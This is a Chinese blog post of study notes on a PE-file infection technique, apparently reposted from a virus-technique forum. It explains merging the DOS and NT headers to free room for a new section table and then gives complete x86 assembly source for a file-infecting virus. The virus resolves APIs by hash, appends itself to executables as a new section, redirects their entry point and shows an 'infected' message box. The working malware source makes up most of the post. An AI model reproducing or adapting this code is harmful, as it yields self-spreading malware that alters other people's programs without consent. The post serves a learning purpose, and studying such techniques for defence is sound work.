变形PE头添加节形式感染学习笔记

本文探讨了变形PE头的原理,通过合并IMAGE_DOS_HEADER和IMAGE_NT_HEADER结构,利用空余字节创建新的节表。重点介绍了如何找到不常用的IMAGE_OPTIONAL_HEADER成员BaseOfData,调整其偏移为3ch,并填充'MZ'标志和'e_lfanew'信息,实现两头结构的融合。接着,文章将介绍实际操作中添加节的实现步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题



1> 变形PE头的原理:

        这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员.

        一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic   (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,这对我们写入一个新的节表结构是足足有余的。

        首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。

        我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节(从'MZ'开始数,数到BaseOfData为3ch),这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic   (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了.

2> 变形PE头添加节的实现过程

; 链接选项中加入/SECTION:.text, RWE, RadAsm中逗号替换为|
	.386
	.model flat, stdcall
	option casemap:none
	
include windows.inc

@pushsz macro str
	
	call @f
	db str, 0
@@:

	endm

pushad_eax equ 1ch
pushad_edx equ 14h
pushad_esi equ 04h
pushad_edi equ 00h

	.code
	
VirusStart:
	pushad
	call Dels
	int 3
	int 3
	int 3
	
Dels:
	pop ebp
	sub ebp, Dels - 3	; call入栈的是第一个int 3的地址,所以减的时候Dels要减到第一个int 3
	
	; Get kernel32
	call GetKrnlBase
	
	lea edi, [ebp + dwFunc]	; edi指向dwFunc
	push edi
	push eax
	call GetFuncAddress
	
	@pushsz 'user32'
	call dword ptr [ebp + _LoadLibrary]	; 调用_LoadLibrary处的地址
	
	push edi
	push eax
	call GetFuncAddress
	
	test ebp, ebp		; 如果是在病毒的自己程序中,ebp为0,不会存在重定位问题
	jz _Inject		; 如果是在病毒自己程序中就跳
	
	push 0			; 如果是在被感染的程序中,就弹出一个对话框并继续感染其他文件
	@pushsz 'Virus Demo'
	@pushsz 'This program is infected :)'
	push 0
	call dword ptr [ebp + _MessageBox]
	
	push dword ptr [ebp + JmpHost + 1]	; 将原程序OEP入栈
	pop dword ptr [esp + pushad_eax]	; 将原程序OEP弹入程序开始pushad保存的eax中
	
	@pushsz 'test2.exe'
	call Inject
	popad
	
	push eax	; 原程序OEP入栈
	ret		; 调到原程序OEP
	
_Inject:
	@pushsz 'test.exe'
	call Inject 
	popad
	ret

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
;	None
; Return value:
;	Success		- eax = KrnlBase
; 	Failure		- eax = -1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
GetKrnlBase:
	push dword ptr 006ch
	push dword ptr 006c0064h
	push dword ptr 002e0032h
	push dword ptr 0033006ch
	push dword ptr 0065006eh
	push dword ptr 00720065h
	push word ptr 006bh
	mov ebx, esp
	
	assume fs:nothing
	mov eax, fs:[30h]
	test eax, eax
	js _Os9x
	mov eax, [eax + 0ch]
	mov eax, [eax + 1ch]
	
_Search:
	or eax, eax
	jz _NotFound
	inc eax
	jz _NotFound
	dec eax
	lea esi, [eax + 1ch]		; eax + 1ch = BaseDllName
	mov esi, [esi + 4]		; esi 指向UNICODE_STRING.BUFFER
	mov ecx, dword ptr 13
	mov edi, ebx
	repz cmpsw
	or ecx, ecx
	jz _Found
	mov eax, [eax]
	jmp _Search
	
_NotFound:
	or eax, 0ffffffffh
	jmp _Result
	
_Found:
	mov eax, [eax + 08h]
	jmp _Result
	
_Os9x:
	mov eax, [eax + 34h]
	lea eax, [eax + 7ch]
	mov eax, [eax + 3ch]
	
_Result:
	add esp, 26
	ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
;	[esp]		- return address
; 	[esp + 4]	- hModule
; 	[esp + 8]	- pHashList
; Return value:
;	None
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
GetFuncAddress:
	pushad
	mov ebx, [esp + 4 * 8 + 4]	; Get hModule, First arguments
	mov edx, [ebx + 3ch]
	mov esi, [ebx + edx + 78h]	; esi = PE Header.Data Directory[0].VirualAddress
	lea esi, [ebx + esi + 18h]	; esi->ExportTable.NumberOfNames
	lodsd
	xchg eax, ecx			; ecx = NumberOfNames
	lodsd
	add eax, ebx
	xchg eax, ebp			; ebp = AddressOfFunctions
	lodsd
	add eax, ebx
	xchg eax, edx			; edx = AddressOfNames
	lodsd
	add eax, ebx
	push eax			; [esp] = AddressOfNameOrdinals	
	mov esi, edx			; esi = AddressOfNames
	
_NextFunc:
	lodsd
	add eax, ebx
	
	; Make Hash
	xor edx, edx
	
_MakeHash:
	rol edx, 3
	xor dl, byte ptr [eax]
	inc eax
	cmp byte ptr [eax], 0
	jnz _MakeHash
	
	mov eax, [esp]
	add dword ptr [esp], 2
	mov edi, [esp + 4 * 8 + 4 + 8]
	
_ScanDwFunc:
	cmp dword ptr [edi], edx
	jnz _NextHash
	movzx eax, word ptr [eax]
	mov eax, [ebp + eax * 4]
	add eax, ebx
	scasd		; 递增到存储地址的地方
	stosd
	jmp _Ret
	
_NextHash:
	scasd
	scasd		; 越过第一个api hash和存储地址区域
	cmp dword ptr [edi], 0
	jne _ScanDwFunc
	
_Ret:
	loop _NextFunc
	pop ecx
	popad
	ret 8
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
;	[esp]		- return address
; 	[esp + 4]	- lpMemory
; Return value:
; 	Success		- CF = 1
;	Faiulre		- CF = 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsPe:
	mov edx, [esp + 4]
	cmp word ptr [edx], 'ZM'
	jnz _IP_RetFalse
	add edx, [edx + 3ch]
	cmp word ptr [edx], 'EP'
	jnz _IP_RetFalse
	
_IP_RetTrue:
	stc
	ret 4 * 1
	
_IP_RetFalse:
	clc
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; 	[esp]		- return address
; 	[esp + 4]	- lpFileName
; Return value:
;	True		- CF - 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsFileType:
	push 0					; 留出空间存放结果
	push esp				; 输出参数
	push dword ptr [esp + 4 * 2 + 4]
	call dword ptr [ebp + _GetBinaryType]	; 调用GetBinaryType
	pop eax					; 将输出参数中的值赋给eax
	; 32BIT_BINARY = 0
	test eax, eax
	jne _IFT_RetFalse
	
_IFT_RetTrue:
	stc
	ret 4 * 1
	
_IFT_RetFalse:
	clc
	ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
;	[esp]		- return address
;	[esp + 4]	- lpFileName
; Return Value:
;	None
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Inject:
	pushad
	mov esi, [esp + 4 * 8 + 4]	; esi = lpFileName
	
	;++
	; Is File Pe Format
	push esi
	call IsFileType
	jnc _IJ_Result			; 不是32位二进制文件跳走
	;--
	
	xor eax, eax
	push eax
	push eax
	push OPEN_EXISTING
	push eax
	push FILE_SHARE_WRITE
	push GENERIC_READ or GENERIC_WRITE
	push esi
	call [ebp + _CreateFile]	; 打开文件lpFileName
	cmp eax, -1
	jz _IJ_Result
	
	xchg eax, ebx			; ebx = hFile
	
	push 0
	push ebx
	call [ebp + _GetFileSize]
	push eax			; push File size
	
	push PAGE_READWRITE
	push MEM_COMMIT
	push eax
	push 0
	call [ebp + _VirtualAlloc]
	pop edx				; edx = file size, eax = memory address
	
	test eax, eax 
	jz _IJ_CloseHandle
	
	xchg eax, edi			; edi = memory address
	mov dword ptr [ebp + _FreeSize], edx
	push 0
	push esp
	push dword ptr [ebp + _FreeSize]
	push edi			; 将文件读取到edi
	push ebx
	call [ebp + _ReadFile]
	test eax, eax
	jz _FreeMem
	
	push edi			; 读取的文件数据
	call IsPe
	jnc _FreeMem
	
	push Virus_Len
	push edi
	call AddSectionTable		; 添加节表, 返回后edx = NewSection VirtualAddress(病毒入口RVA)
	
	;++
	; Update Oep, Write JmpHost
	mov eax, edi			; eax为文件数据
	add eax, [eax + 3ch]		; eax = PE Header
	mov ecx, edx			; ecx = Virus entry rva
	xchg ecx, [eax + 28h]		; [eax + 28h] = AddressOfEntryPoint程序执行入口RVA,和ecx交换
	add ecx, [eax + 34h]		; [eax + 34h] = ImageBase程序的建议装载地址
	mov dword ptr [ebp + JmpHost + 1], ecx	; 保存ImageBase + AddressOfEntryPoint = Oep
	;--
	
	; 将文件指针指向开始处
	push FILE_BEGIN
	push 0
	push 0
	push ebx
	call [ebp + _SetFilePointer]
	
	; 将更改后的文件数据写入文件
	push 0				; 留位置用于下面 push esp 做输出参数
	push esp
	lea eax, [ebp + _FreeSize]
	push dword ptr [eax]
	push edi
	push ebx
	call [ebp + _WriteFile]
	test eax, eax
	jz _FreeMem
	
	; 在文件尾部扩展出Virus_Len长度的空间
	push FILE_END
	push 0
	push Virus_Len
	push ebx
	call [ebp + _SetFilePointer]
	
	; 确定文件结尾
	push ebx
	call [ebp + _SetEndOfFile]
	
	; 从当前文件指针(文件结尾)往前移动Virus_Len字节,准备写入病毒代码
	push FILE_CURRENT
	push 0
	push -(Virus_Len)
	push ebx
	call [ebp + _SetFilePointer]
	
	push 0			; 为下一句指令留位置
	push esp
	push Virus_Len
	lea eax, [ebp + VirusStart]
	push eax		; 从VirusStart开始向文件当前文件指针指向的位置写入Virus_Len字节
	push ebx
	call [ebp + _WriteFile]
	test eax, eax
	jz _FreeMem
	
_FreeMem:
	push MEM_DECOMMIT
	_FreeSize = $ + 1	; $ + 1为push指令后面的操作数的地址,上面将file size写入此处
	push $
	push edi
	call [ebp + _VirtualFree]
	
_IJ_CloseHandle:
	push ebx
	call [ebp + _CloseHandle]
	
_IJ_Result:
	popad
	ret 4
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; 	[esp]			- return address
; 	[esp + 4 * 8 + 4]	- pMemory
; 	[esp + 4 * 8 + 8]	- dwLen
; Return Value:
;	eax = New section PhysicalOffset
;	edx = NewSection VirtualOffset
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
AddSectionTable:
	pushad
	mov ebx, [esp + 4 * 8 + 4]	; ebx = 映像起始
	mov esi, ebx
	add esi, [esi + 3ch]		; esi指向pe头
	
	;++
	; edi = Section Table
	; + 4是加上IMAGE_NT_HEADERS结构里的Signature的长度
	; IMAGE_FILE_HEADER.SizeOfOptionalHeader是相对于IMAGE_OPTIONAL_HEADER32的偏移
	; 这里需要的是相对于IMAGE_NT_HEADERS的偏移
	movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.SizeOfOptionalHeader + 4]	; IMAGE_OPTIONAL_HEADER32结构长度
	lea edi, dword ptr [esi + ecx + 4 + sizeof IMAGE_FILE_HEADER]	; edi指向节表
	;--
	
	;++
	; Clear Entry Bound Import 
	lea edx, [esi + 74h]
	cmp dword ptr [edx], 10
	jl _GoSectionTable
	mov dword ptr [edx + 4 + 11 * 8], 0	; 清除Entry bound import
	;--
	
_GoSectionTable:
	;++
	; edx = First section offset
	; edi = Last section table offset
	; 这里为什么要取文件偏移呢,因为申请的内存中读取的文件数据
	; 并没有按照内存粒度对齐,还是和文件中一样的
	mov edx, [edi + IMAGE_SECTION_HEADER.PointerToRawData]
	add edx, ebx	; 节在文件中的位置
	movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.NumberOfSections + 4]	; 节表数量
	imul ecx, ecx, sizeof IMAGE_SECTION_HEADER	; 所有节表的长度
	add edi, ecx		; edi = 节表尾部
	;--
	
	;++
	; 扩大PE头结构
	; BaseOfData等于.lfanew
	push edx
	mov eax, edi
	sub edx, eax		; 计算出第一个节和节表中间的空隙大小
	cmp edx, sizeof IMAGE_SECTION_HEADER
	pop edx
	jge _AddSectionTable	; 能够存放下一个节表就跳,然后添加~
	
	; 测试扩展是否已存在
	cmp word ptr [ebx + 0ch], 'EP'	; 如果开始+0ch就是'PE',说明PE头已变形
	jnz _Expand
	xor eax, eax
	mov [esp + pushad_eax], eax
	jmp _AST_Result
	
_Expand:
	sub eax, esi			; 计算PE头到节表结尾的距离
	xchg eax, ecx			; ecx = 距离
	pushad
	lea edi, [ebx + 0ch]		; edi指向程序开始偏移0ch处
	mov dword ptr [esp + pushad_esi], edi	; 修改pushad保存的esi为edi
	cld
	rep movsb				; 循环复制字节, 将NT头和节表复制到程序开始偏移0ch处
	mov dword ptr [esp + pushad_edi], edi	; 此时edi为新的节表尾部
	
	sub edx, edi	; edx = 第一个节的文件偏移
	xchg ecx, edx	; ecx = 第一个节和新节表尾的距离
	xor eax, eax
	rep stosb	; 新节表为到第一个节中间的数据清0
	popad
	
	mov dword ptr [ebx + 3ch], 0ch	; 此处原理参考PE头变形
	;--
	
_AddSectionTable:
	; Inc Num
	inc word ptr [esi + 06h]		; 节表数量加1
	; Section Name
	mov dword ptr [edi], 'tesT'		; 名叫Test的节
	; Physical size
	push dword ptr [esp + 4 * 8 + 8]	; 取出dwLen参数作为节的长度
	pop dword ptr [edi + 10h]
	; Physical offset
	lea edx, [edi - 28h]			; 指向最后一个节表
	mov eax, [edx + 14h]			; 获取最后一个节的文件偏移
	mov ecx, [edx + 10h]			; 获取最后一个节的长度		
	add eax, ecx				; 最后一个节的尾部偏移
	mov dword ptr [edi + 14h], eax		; 新节的偏移
	mov dword ptr [esp + pushad_eax], eax	; 修改pushad的eax为新节的偏移
	; Virtual size
	push  dword ptr [esp + 4 * 8 + 8]	; 取dwLen
	pop dword ptr [edi + 8h]
	; Virtual offset
	push dword ptr [esi + 50h]		; 内存中整个PE映像的尺寸
	pop eax					; 弹入eax
	mov dword ptr [edi + 0ch], eax		; eax = virus开始处的偏移,pe映像尺寸是经过内存粒度对齐的
	mov [esp + pushad_edx], eax		; 将Virus的地址修改到edx
	; Flags
	mov dword ptr [edi + 24h], 0e0000020h
	; SizeOfImage
	mov ecx, [edi + 08h]
	add ecx, [edi + 0ch]			; 原映像大小加上添加的代码大小
	mov dword ptr [esi + 50h], ecx		; 修改映像大小
	
_AST_Result:
	popad
	ret 8
	
JmpHost:
	push $
	ret
	
dwFunc:
				dd	0C0D6D616h
 	_CloseHandle		dd	0
 	
 				dd	038C62A7Ah
 	_CreateFile		dd	0
 	
 				dd	0ABD10842h
 	_GetBinaryType		dd	0
 	
 				dd	09554EFE7h
 	_GetFileSize		dd	0
 	
 				dd	00BE25545h
 	_ReadFile		dd	0
 	
 				dd	0A97175F9h
 	_SetEndOfFile		dd	0
 	
 				dd	0A9D1FD70h
 	_SetFilePointer		dd	0
 				
 				dd	0AB16D0AEh
 	_VirtualAlloc		dd	0
 	
 				dd	0B562D3DBh
 	_VirtualFree		dd	0
 	
 				dd	058D8C545h
 	_WriteFile		dd	0
 	
 				dd	0A412FD89h
 	_LoadLibrary		dd	0
 	
 				dd	014D14C51h
 	_MessageBox		dd	0
 
 Virus_Len = $ - VirusStart
 
 	end VirusStart
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值